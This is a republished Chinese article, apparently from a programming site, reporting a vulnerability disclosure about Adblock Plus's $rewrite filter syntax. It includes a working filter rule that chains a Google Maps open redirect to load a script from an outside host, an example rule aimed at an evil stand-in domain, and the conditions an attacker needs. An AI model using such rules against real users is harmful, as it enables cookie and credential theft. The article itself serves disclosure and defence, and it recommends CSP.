Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码

本文主要是介绍Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

国外安全专家Sebastian近日发现Adblock Plus、AdBlock和uBlocker浏览器扩展的广告拦截过滤器列表存在漏洞,攻击者可以利用该漏洞运行恶意代码,可窃取用户的cookie、登录凭据、进行页面重定向或其他恶意行为。受影响的扩展拥有超过1亿活跃用户,并且该功能可以轻松利用以攻击任何足够复杂的Web服务(如Google服务),而攻击很难检测并且可以在所有主流浏览器中实现。

Ad-Blocker

“$ rewrite”语法

一个广告屏蔽插件通常分为两个部分:插件本身和订阅列表。订阅列表包含对于各类恶意网址、广告或者插件的屏蔽信息,大多都支持正则表达式。而插件本身则在读取这些订阅列表后进行相应的操作,比如浏览器连接到列表中的网址或者阻止恶意广告和脚本。

举个例子,下方是热门的订阅过滤器EasyList的内容:

easylist

2018年,Adblock Plus 3.2发布时,添加了一个名为$ rewrite 新语法,允许列表维护者将与特定正则表达式匹配的Web请求替换为另一个URL。替换字符串必须是相对应的URL,不包含主机名,并且在重写时必须与原始请求位于同一域中。

举个例子,在订阅列表中添加以下过滤规则可将example.com/ad.gif的所有请求都替换为example.com/puppies.gif。因此,页面上的对应位置不会显示广告,而是更换为小狗照片。

||example.com/ad.gif$rewrite=/puppies.gif

由于重写的URL必须与原始URL位于同一源,并且必须是相对URL,因此以下$ rewrite 实例是无效的。

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

在新增该语法之处,开发者考虑到了可能引发的安全隐患,所以当重写的对象为SCRIPTSUBDOCUMENTOBJECTOBJECT_SUBREQUEST时,该语法失效。

那么在这些限制的加持下,如何利用该语法运行恶意代码?

XMLHttpRequest和Fetch

当使用XMLHttpRequest或Fetch下载代码并执行时,可以利用此过滤器语法使用Web服务,同时允许请求任意来源并于服务器端开放重定向。这样的攻击难以检测,因为该扩展插件会定期更新过滤器列表,只要该列表的维护人员为恶意过滤器列表设置一个较短的过期时间,然后将其替换为没问题的过滤器列表。

要利用该漏洞需要满足以下条件:

  1. 页面必须使用XMLHttpRequest或Fetch加载JS字符串并执行返回的代码;

  2. 页面不能严格部署了CSP策略,或者在执行下载的代码之前不能验证最终请求URL;

  3. 获取代码的来源必须支持服务器端的重定向或者内容托管。

关键就是使用XMLHttpRequest或Fetch来下载脚本和打开重定向功能,使得攻击者能够从远程站点通过XMLHttpRequest读取脚本,而此时对于插件而言看起来仍是同一个来源。天空彩

比如访问量非常大的Google Maps站点就可以利用XMLHttpRequest加载脚本,因为它的搜索结果页面中包含一个开放重定向:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

根据上述规则,当用户访问www.google.com/maps/时,过滤规则将使用Google开放重定向来读取https://majestic-ramsons.herokuapp.com/的内容。

运行远程脚本

由于打开的重定向url位于同一个源或域中,允许读取字符串并将其作为JavaScript执行,导致警报:

远程脚本显示警报

风险与后续

虽然更改过滤器页表的方法有很多,这不是最严重的一个,但Sebastian担心别有用心的列表维护者会利用该漏洞发起难以检测的针对性攻击,比如2018年,一个不署名的列表维护者因为政治原因该写了某个订阅列表,导致大量声援抗议活动的工会网站在该广告屏蔽插件的作用下出现问题。

Sebastian向谷歌报告了该漏洞,但谷歌坚称开放重定向是他们一贯的立场:

Google已收到有关此漏洞的通知,但该报告已作为”预期行为“被关闭,因为他们认为潜在的安全问题仅存在于上述浏览器扩展中。

实际上该漏洞可以用于一系列供应链攻击,Sebastian建议网站使用CSP标头和connect-src选项来指定可以从中加载脚本的站点的白名单,以降低安全风险。

这篇关于Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779288

相关文章

解读docker运行时-itd参数是什么意思

《解读docker运行时-itd参数是什么意思》在Docker中,-itd参数组合用于在后台运行一个交互式容器,同时保持标准输入和分配伪终端,这种方式适合需要在后台运行容器并保持交互能力的场景... 目录docker运行时-itd参数是什么意思1. -i(或 --interactive)2. -t(或 --

springboot3.4和mybatis plus的版本问题的解决

《springboot3.4和mybatisplus的版本问题的解决》本文主要介绍了springboot3.4和mybatisplus的版本问题的解决,主要由于SpringBoot3.4与MyBat... 报错1:spring-boot-starter/3.4.0/spring-boot-starter-

Nginx之upstream被动式重试机制的实现

《Nginx之upstream被动式重试机制的实现》本文主要介绍了Nginx之upstream被动式重试机制的实现,可以通过proxy_next_upstream来自定义配置,具有一定的参考价值,感兴... 目录默认错误选择定义错误指令配置proxy_next_upstreamproxy_next_upst

pycharm远程连接服务器运行pytorch的过程详解

《pycharm远程连接服务器运行pytorch的过程详解》:本文主要介绍在Linux环境下使用Anaconda管理不同版本的Python环境,并通过PyCharm远程连接服务器来运行PyTorc... 目录linux部署pytorch背景介绍Anaconda安装Linux安装pytorch虚拟环境安装cu

mybatis和mybatis-plus设置值为null不起作用问题及解决

《mybatis和mybatis-plus设置值为null不起作用问题及解决》Mybatis-Plus的FieldStrategy主要用于控制新增、更新和查询时对空值的处理策略,通过配置不同的策略类型... 目录MyBATis-plusFieldStrategy作用FieldStrategy类型每种策略的作

Python如何计算两个不同类型列表的相似度

《Python如何计算两个不同类型列表的相似度》在编程中,经常需要比较两个列表的相似度,尤其是当这两个列表包含不同类型的元素时,下面小编就来讲讲如何使用Python计算两个不同类型列表的相似度吧... 目录摘要引言数字类型相似度欧几里得距离曼哈顿距离字符串类型相似度Levenshtein距离Jaccard相

Spring排序机制之接口与注解的使用方法

《Spring排序机制之接口与注解的使用方法》本文介绍了Spring中多种排序机制,包括Ordered接口、PriorityOrdered接口、@Order注解和@Priority注解,提供了详细示例... 目录一、Spring 排序的需求场景二、Spring 中的排序机制1、Ordered 接口2、Pri

Redis存储的列表分页和检索的实现方法

《Redis存储的列表分页和检索的实现方法》在Redis中,列表(List)是一种有序的数据结构,通常用于存储一系列元素,由于列表是有序的,可以通过索引来访问元素,因此可以很方便地实现分页和检索功能,... 目录一、Redis 列表的基本操作二、分页实现三、检索实现3.1 方法 1:客户端过滤3.2 方法

MySQL 缓存机制与架构解析(最新推荐)

《MySQL缓存机制与架构解析(最新推荐)》本文详细介绍了MySQL的缓存机制和整体架构,包括一级缓存(InnoDBBufferPool)和二级缓存(QueryCache),文章还探讨了SQL... 目录一、mysql缓存机制概述二、MySQL整体架构三、SQL查询执行全流程四、MySQL 8.0为何移除查

通过prometheus监控Tomcat运行状态的操作流程

《通过prometheus监控Tomcat运行状态的操作流程》文章介绍了如何安装和配置Tomcat,并使用Prometheus和TomcatExporter来监控Tomcat的运行状态,文章详细讲解了... 目录Tomcat安装配置以及prometheus监控Tomcat一. 安装并配置tomcat1、安装